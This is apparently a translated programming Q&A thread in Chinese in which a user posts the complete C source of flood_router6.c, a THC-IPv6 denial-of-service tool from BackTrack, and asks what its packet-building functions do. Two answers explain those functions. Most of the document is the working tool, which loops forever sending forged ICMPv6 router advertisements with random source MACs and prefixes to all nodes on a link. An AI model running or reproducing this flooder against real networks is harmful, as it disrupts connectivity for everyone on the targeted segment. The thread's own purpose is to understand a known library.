flood_router6.c中的一些函数(BackTrack中的DoS程序)

时间:2011-07-22 08:45:48

标签: c++ c

此代码是来自http://www.thc.org/的BackTrack中的拒绝服务攻击程序 代码的名称是flood_router6.c

在下面显示的代码中,我有问题这些函数在做什么:

thc_create_ipv6()
thc_add_icmp6()
thc_generate_and_send_pkt()

“thc-ipv6.h”库中没有类似的功能。 这些功能有哪些功能?我在谷歌搜索,没有答案。 有人可以帮忙吗?

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/wait.h>
#include <time.h>
#include <pcap.h>
#include "thc-ipv6.h"

extern int debug;

void help(char *prg) {
  printf("%s %s (c) 2010 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE);
  printf("Syntax: %s [-r] interface\n\n", prg);
  printf("Flood the local network with router advertisements.\n");
  printf("Use -r to use raw mode.\n\n");
  exit(-1);
}

int main(int argc, char *argv[]) {
  char *interface, mac[6] = "";
  unsigned char *routerip6, *route6, *mac6 = mac, *ip6;
  unsigned char buf[56];
  unsigned char *dst = thc_resolve6("FF02::1"), *dstmac = thc_get_multicast_mac(dst);
  int size, mtu, i;
  unsigned char *pkt = NULL;
  int pkt_len = 0;
  int rawmode = 0;
  int count = 0;

  if (argc < 2 || argc > 3 || strncmp(argv[1], "-h", 2) == 0)
    help(argv[0]);

  if (strcmp(argv[1], "-r") == 0) {
    thc_ipv6_rawmode(1);
    rawmode = 1;
    argv++;
    argc--;
  }

  srand(time(NULL) + getpid());
  setvbuf(stdout, NULL, _IONBF, 0);

  interface = argv[1];
  mtu = 1500;
  size = 64;
  ip6 = malloc(16);
  routerip6 = malloc(16);
  route6 = malloc(16);

  mac[0] = 0x00;
  mac[1] = 0x18;
  memset(ip6, 0, 16);
  ip6[0] = 0xfe;
  ip6[1] = 0x80;
  ip6[8] = 0x02;
  ip6[9] = mac[1];
  ip6[11] = 0xff;
  ip6[12] = 0xfe;
  routerip6[0] = 0x2a;
  routerip6[1] = 0x01;
  routerip6[15] = 0x01;
  memset(route6 + 8, 0, 8);

  printf("Starting to flood network with router advertisements on %s
(Press Control-C to end, a dot is printed for every 100 packet):\n", interface);
  while (1) {

    for (i = 2; i < 6; i++)
      mac[i] = rand() % 256;
    for (i = 2; i < 8; i++)
      routerip6[i] = rand() % 256;

//    ip6[9] = mac[1];
    ip6[10] = mac[2];
    ip6[13] = mac[3];
    ip6[14] = mac[4];
    ip6[15] = mac[5];
    memcpy(route6, routerip6, 8);

    count++;
    memset(buf, 0, sizeof(buf));
    buf[1] = 250;
    buf[5] = 30;
    buf[8] = 5;
    buf[9] = 1;
    buf[12] = mtu / 16777216;
    buf[13] = (mtu % 16777216) / 65536;
    buf[14] = (mtu % 65536) / 256;
    buf[15] = mtu % 256;
    buf[16] = 3;
    buf[17] = 4;
    buf[18] = size;
    buf[19] = 128 + 64 + 32;
    memset(&buf[20], 255, 8);
    memcpy(&buf[32], route6, 16);
    buf[48] = 1;
    buf[49] = 1;
    memcpy(&buf[50], mac6, 6);

    if ((pkt = thc_create_ipv6(interface, PREFER_LINK, &pkt_len, ip6, dst, 255, 0, 0, 0, 0)) == NULL)
      return -1;
    if (thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, 0xff08ffff, buf, sizeof(buf), 0) < 0)
      return -1;
    if (thc_generate_and_send_pkt(interface, mac6, dstmac, pkt, &pkt_len) < 0) {
      fprintf(stderr, "Error sending packet no. %d on interface %s: ", count, interface);
      perror("");
      return -1;
    }

    pkt = thc_destroy_packet(pkt);
    usleep(1);
    if (count % 100 == 0)
      printf(".");
  }
  return 0;
}

2 个答案:

答案 0 :(得分:0)

THC-IPv6是一组用于攻击IPV6固有协议弱点的工具。该项目是THC的一部分,即The Hacker's Choice。您可以找到有关此项目的详细信息: http://www.thc.org/thc-ipv6/

THC-IPv6不仅提供了攻击工具,还提供了一个方便的库。该库可用于开发自己的应用程序,例如:创建特定的IPv6数据包。 http://www.thc.org/thc-ipv6/README

基本上,thc_create_ipv6()用于创建没有扩展头的IPv6数据包。 thc_add_icmp6()会将icmpv6标头添加到此数据包,thc_generate_and_send_pkt()会将此数据包发送到网络。有关THC-IPv6库的更多详细信息,请参阅自述文件。

答案 1 :(得分:0)

你真的没看 - 函数在thc-ipv6.h中定义的,它们的代码在thc-ipv6-lib.c中

函数thc_create_ipv6()创建基本IPv6数据包,并且在库的任何其他数据包功能之前是必需的。 然后the_add_icmp6()将ICMPv6标头添加到IPv6数据包。 还有更多thc_add_*个功能,例如用于UDP,TCP或扩展头。 最后thc_generate_and_send_pkt()将构建数据包并将其发送到网络。

请参阅自述文件。 smurf6.c文件是一个关于如何使用库的简单示例。